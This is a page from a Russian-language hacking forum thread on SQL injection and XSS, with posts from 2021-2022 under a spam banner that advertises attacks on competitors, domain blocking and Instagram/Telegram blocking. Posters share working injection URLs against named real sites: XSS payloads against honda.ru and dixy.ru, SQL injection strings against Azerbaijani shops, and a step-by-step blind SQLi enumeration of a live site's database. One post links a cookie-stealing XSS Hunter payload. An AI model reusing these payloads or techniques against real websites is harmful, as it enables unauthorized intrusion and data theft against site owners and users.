УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Уязвимости SQLi, XSS и другие.

Страница 35 из 35

« Первая

Опции темы

Поиск в этой теме

Опции просмотра

#341

12.10.2021, 17:27

crlf

Guest

Сообщений: n/a

Провел на форуме:
169212

Репутация: 441

Код:

Code:
https://honda.ru/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//
https://dixy.ru/bitrix/components/bitrix/photogallery_user/templates/.default/galleries_recalc.php?AJAX=Y&arParams[PERMISSION]=W&arParams[IBLOCK_ID]=1%00%27}};alert(document.domain);if(1){//

#342

21.10.2021, 22:26

erwerr2321

Guest

Сообщений: n/a

Провел на форуме:
759330

Репутация: 147

Цитата:

Сообщение от Octavian

Octavian said:
↑
Получил такой отстук из сервисов Yandex

Это по сути песочница. Один пейлоад стрелял сразу в нескольких местах:

на ифраме-толока.ком и на sandbox.ифраме-толока.ком. Но там тоже ни кук, ни импэкта))

Но было ещё и третье место, откуда он постреливал.

И вот только вчера прилетело письмецо в конверте.

#343

24.10.2021, 21:41

Octavian

Guest

Сообщений: n/a

Провел на форуме:
97114

Репутация: 24

Цитата:

Сообщение от erwerr2321

erwerr2321 said:
↑
Это по сути песочница. Один пейлоад стрелял сразу в нескольких местах:
на ифраме-толока.ком и на sandbox.ифраме-толока.ком. Но там тоже ни кук, ни импэкта))
Но было ещё и третье место, откуда он постреливал.
И вот только вчера прилетело письмецо в конверте.
View attachment 14009

А моя доля? На шаверму

#344

24.10.2021, 21:47

erwerr2321

Guest

Сообщений: n/a

Провел на форуме:
759330

Репутация: 147

Цитата:

Сообщение от Octavian

Octavian said:
↑
А моя доля? На шаверму

Шта?

Я её намного раньше тебя запостил! я ж писал тебе tracking ID и time 1619951822533

Ни гани!

#345

01.11.2021, 16:35

eminlayer7788

Guest

Сообщений: n/a

Провел на форуме:
36807

Репутация: 1

SQLi

.SpoilerTarget" type="button">Spoiler: link
https://www.goal.az/livescore/tourn...oin (select 6)f join (select 7)g /news/45011/

#346

18.11.2021, 16:02

eminlayer7788

Guest

Сообщений: n/a

Провел на форуме:
36807

Репутация: 1

sql injection

.SpoilerTarget" type="button">Spoiler: sqli url
https://optimal.az/TV-Audio-Foto-Vid...page=2&price=1%27group%20by%20mid(user()%20from%20floor(rand(0)* 2))having%20avg(0)--%20-

and how to get table & column names ?

thanks for help !

#347

25.11.2021, 06:47

ZeV$

Новичок

Регистрация: 08.02.2006

Сообщений: 19

Провел на форуме:
86384

Репутация: 5

Цитата:

Сообщение от eminlayer7788

eminlayer7788 said:
↑
sql injection
Spoiler: sqli url
https://optimal.az/TV-Audio-Foto-Vid...page=2&price=1
%27group%20by%20mid(user()%20from%20floor(rand(0)* 2))having%20avg(0)--%20-
and how to get table & column names ?
thanks for help !

digging blind sqli

*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'a%') AND '9'='9

*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'b%') AND '9'='9

...

*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND (SELECT database() LIKE 'n%') AND '9'='9

*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND ((SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES) BETWEEN 0 AND 2) AND '9'='9

*mal.az/Telefon-ve-Plansetler/Telefon-ve-planset-aksesuarlari/?Adapterler-USB&filter=351&price=9.99,50.99' AND ((SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES) BETWEEN 0 AND 333) AND '9'='9

#348

19.02.2022, 15:57

Octavian

Guest

Сообщений: n/a

Провел на форуме:
97114

Репутация: 24

Пришел мне лог на xsshunter с непонятного сайта, такой вот сайт который парсит но не обрабатывает вывод )

https://www.social-searcher.com/soci...cument.cookie)